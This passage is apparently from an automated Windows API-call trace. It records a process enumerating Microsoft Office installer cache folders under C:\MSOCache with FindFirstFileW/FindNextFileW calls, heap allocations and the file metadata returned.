nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0066.542] FindClose (in: hFindFile=0x56a9b8 | out: hFindFile=0x56a9b8) returned 1 [0066.542] GetProcessHeap () returned 0x550000 [0066.542] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2661080 | out: hHeap=0x550000) returned 1 [0066.542] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0066.542] GetProcessHeap () returned 0x550000 [0066.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2661080 [0066.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a9f8 [0066.947] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.948] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0066.948] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0066.948] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0066.949] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0066.949] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0066.949] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0066.949] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0066.949] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0066.950] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0066.950] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0066.950] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0066.950] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0066.951] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0066.951] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0066.951] FindClose (in: hFindFile=0x56a9f8 | out: hFindFile=0x56a9f8) returned 1 [0067.513] GetProcessHeap () returned 0x550000 [0067.513] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2661080 | out: hHeap=0x550000) returned 1 [0067.513] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0067.514] GetProcessHeap () returned 0x550000 [0067.514] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26850a0 [0067.514] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26840f0 [0067.514] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.514] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0067.515] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0067.515] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0067.515] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0067.515] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0067.515] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0067.516] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0067.516] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1 [0067.516] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0067.516] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0067.516] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0067.516] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0067.517] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0067.517] FindClose (in: hFindFile=0x26840f0 | out: hFindFile=0x26840f0) returned 1 [0067.517] GetProcessHeap () returned 0x550000 [0067.517] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26850a0 | out: hHeap=0x550000) returned 1 [0067.517] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0067.517] GetProcessHeap () returned 0x550000 [0067.517] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26850a0 [0067.518] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684170 [0067.550] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.550] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0067.551] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0067.559] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0067.559] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0067.560] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0067.560] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0067.560] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0067.560] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f0b8 | out: 